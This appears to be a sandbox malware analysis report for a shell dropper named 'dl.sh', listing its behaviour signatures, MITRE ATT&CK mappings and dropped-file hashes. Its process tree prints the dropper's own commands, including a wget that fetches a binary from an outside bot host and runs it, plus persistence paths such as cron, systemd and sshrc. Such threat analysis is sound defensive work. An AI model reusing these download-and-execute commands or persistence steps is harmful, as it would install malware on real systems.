Overview

overview

7

Static

static

1

dl.sh

ubuntu-18.04-amd64

7

dl.sh

debian-9-armhf

dl.sh

debian-9-mips

7

dl.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20261019-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    27/10/2026, 12:08

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    dl.sh
  • Size 1000B
  • Sample261027-pbb8ladd84
  • SHA256 78b1794c29c7c5e91ff8b9e2d8f13ffc658ada5489f7cd528e8c77ee1200af6a
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalationupx

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Creates/modifies Cron job 1 TTPs 3 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 5 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Write file to user bin folder 4 IoCs
    persistence
  • Modifies Bash startup script 2 TTPs 5 IoCs
    persistence
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 2 IoCs
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 21 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/dl.sh
    /tmp/dl.sh
    1⤵
    • Executes dropped EXE
    PID:1511
    • /bin/uname
      uname -m
      2⤵
        PID:1512
      • /bin/chmod
        chmod +x .xt
        2⤵
        • File and Directory Permissions Modification
        PID:1513
      • /var/tmp/.xt
        ./.xt
        2⤵
          PID:1514
        • /bin/rm
          rm -f .xt
          2⤵
            PID:1515
          • /bin/rm
            rm -f w
            2⤵
              PID:1516
            • /usr/bin/wget
              wget -qO w http://bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa/wife.x86_64
              2⤵
              • System Network Configuration Discovery
              PID:1518
            • /bin/chmod
              chmod +x w
              2⤵
              • File and Directory Permissions Modification
              PID:1523
            • /var/tmp/w
              ./w
              2⤵
              • Creates/modifies Cron job
              • Creates/modifies environment variables
              • Enumerates active TCP sockets
              • Modifies init.d
              • Modifies rc script
              • Modifies systemd
              • Write file to user bin folder
              • Modifies Bash startup script
              • Changes its process name
              • Reads system network configuration
              • Enumerates kernel/hardware configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:1524
            • /bin/rm
              rm -f w
              2⤵
                PID:1526
              • /bin/rm
                rm -f /tmp/dl.sh
                2⤵
                  PID:1528

              Network

                    MITRE ATT&CK Enterprise v16

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Scheduled Task/Job

                    1
                    T1053

                    Cron

                    1
                    T1053.003

                    Persistence

                    Boot or Logon Autostart Execution

                    4
                    T1547

                    XDG Autostart Entries

                    1
                    T1547.013

                    Boot or Logon Initialization Scripts

                    2
                    T1037

                    RC Scripts

                    2
                    T1037.004

                    Create or Modify System Process

                    1
                    T1543

                    Systemd Service

                    1
                    T1543.002

                    Event Triggered Execution

                    1
                    T1546

                    Unix Shell Configuration Modification

                    1
                    T1546.004

                    Hijack Execution Flow

                    1
                    T1574

                    Path Interception by PATH Environment Variable

                    1
                    T1574.007

                    Scheduled Task/Job

                    1
                    T1053

                    Cron

                    1
                    T1053.003

                    Privilege Escalation

                    Boot or Logon Autostart Execution

                    4
                    T1547

                    XDG Autostart Entries

                    1
                    T1547.013

                    Boot or Logon Initialization Scripts

                    2
                    T1037

                    RC Scripts

                    2
                    T1037.004

                    Create or Modify System Process

                    1
                    T1543

                    Systemd Service

                    1
                    T1543.002

                    Event Triggered Execution

                    1
                    T1546

                    Unix Shell Configuration Modification

                    1
                    T1546.004

                    Hijack Execution Flow

                    1
                    T1574

                    Path Interception by PATH Environment Variable

                    1
                    T1574.007

                    Scheduled Task/Job

                    1
                    T1053

                    Cron

                    1
                    T1053.003

                    Defense Evasion

                    File and Directory Permissions Modification

                    1
                    T1222

                    Linux and Mac File and Directory Permissions Modification

                    1
                    T1222.002

                    Hijack Execution Flow

                    1
                    T1574

                    Path Interception by PATH Environment Variable

                    1
                    T1574.007

                    Credential Access

                    Discovery

                    System Information Discovery

                    1
                    T1082

                    System Network Configuration Discovery

                    2
                    T1016

                    Internet Connection Discovery

                    1
                    T1016.001

                    System Network Connections Discovery

                    1
                    T1049

                    Lateral Movement

                    Collection

                    Command and Control

                    Exfiltration

                    Impact

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    kworker
                    • Path /etc/cron.d/kworker
                    • Size 271B
                    • SHA256 949f1566934d3ac63087c605bbf2c15186a060eb73439047b5256b56b404c0be
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    kworker
                    • Path /etc/cron.hourly/kworker
                    • Size 215B
                    • SHA256 db38c1bd7072e0df20120e8fb6d1b1f8814ab09b8c7c2d951a36d5efc6da704b
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    kworker
                    • Path /etc/dhcp/dhclient-enter-hooks.d/kworker
                    • Size 231B
                    • SHA256 2cbc0ec5bee2a9cc171734811df2a1d7f5b4ef1057e674c4af306c81bfb43c21
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    kworker
                    • Path /etc/init.d/kworker
                    • Size 274B
                    • SHA256 f2249548469d6df1b5eef7e197104f56cfc08cc17a274932de8280eb06fa14a1
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    kworker.sh
                    • Path /etc/profile.d/kworker.sh
                    • Size 222B
                    • SHA256 ac8a5cb493d755162ae7195dffb679e2452c401fd1b9f5898f00cb5ad0aee4b6
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    rc.local
                    • Path /etc/rc.local
                    • Size 13B
                    • SHA256 b95c4bf6101e94b5e07404560d331b48555c12d59a42e8f5518928c15d7e99e1
                    • MD5 SHA1 SHA512
                    Submit Download

                    rc.local
                    • Path /etc/rc.local
                    • Size 235B
                    • SHA256 678c57021b3815dfb1e04be8be63ac5afec7c877cc692f73cc34459ef480ff96
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    sshrc
                    • Path /etc/ssh/sshrc
                    • Size 221B
                    • SHA256 f46eaa2d91024e67bd15bb41135df4ac062243ddd2c539076c16fd22a538e2ac
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    kworker.service
                    • Path /etc/systemd/system/kworker.service
                    • Size 520B
                    • SHA256 d925ac344afc831f5dd9223ed461233a5776b016fe5809cd73e486ff4c1c1e5d
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    kworker
                    • Path /etc/update-motd.d/kworker
                    • Size 222B
                    • SHA256 cde8b0d64625cbb96666adc503939d28a9570acba0c722fd8e44c573f36cdf3f
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    .kwlog
                    • Path /tmp/.kwlog
                    • Size 329B
                    • SHA256 5620f0e4599a89d4f412da5393fe38f8ffbb09370037131ae9d0a49b6041028f
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    wife.lock
                    • Path /tmp/wife.lock
                    • Size 5B
                    • SHA256 fb1b70fc73e8fe75c41431ff01274f6b0a950167211d16522a49867b30dec9c0
                    • MD5 SHA1 SHA512
                    Submit Download

                    root
                    • Path /var/spool/cron/crontabs/root
                    • Size 216B
                    • SHA256 2abdf60252138f494477089c71990d137ddb51995e34fb9d65a3151a864ed08c
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    .xt
                    • Path /var/tmp/.xt
                    • Size 10B
                    • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                    • MD5 SHA1 SHA512
                    Submit Download

                    .xt
                    • Path /var/tmp/.xt
                    • Size 17B
                    • SHA256 306c6ca7407560340797866e077e053627ad409277d1b9da58106fce4cf717cb
                    • MD5 SHA1 SHA512
                    Submit Download

                    w
                    • Path /var/tmp/w
                    • Size 75KB
                    • SHA256 1abf6f8b0d3e4b7fa86102bd400e91b0933e0d0dcaf90c11f91e6397e9661633
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download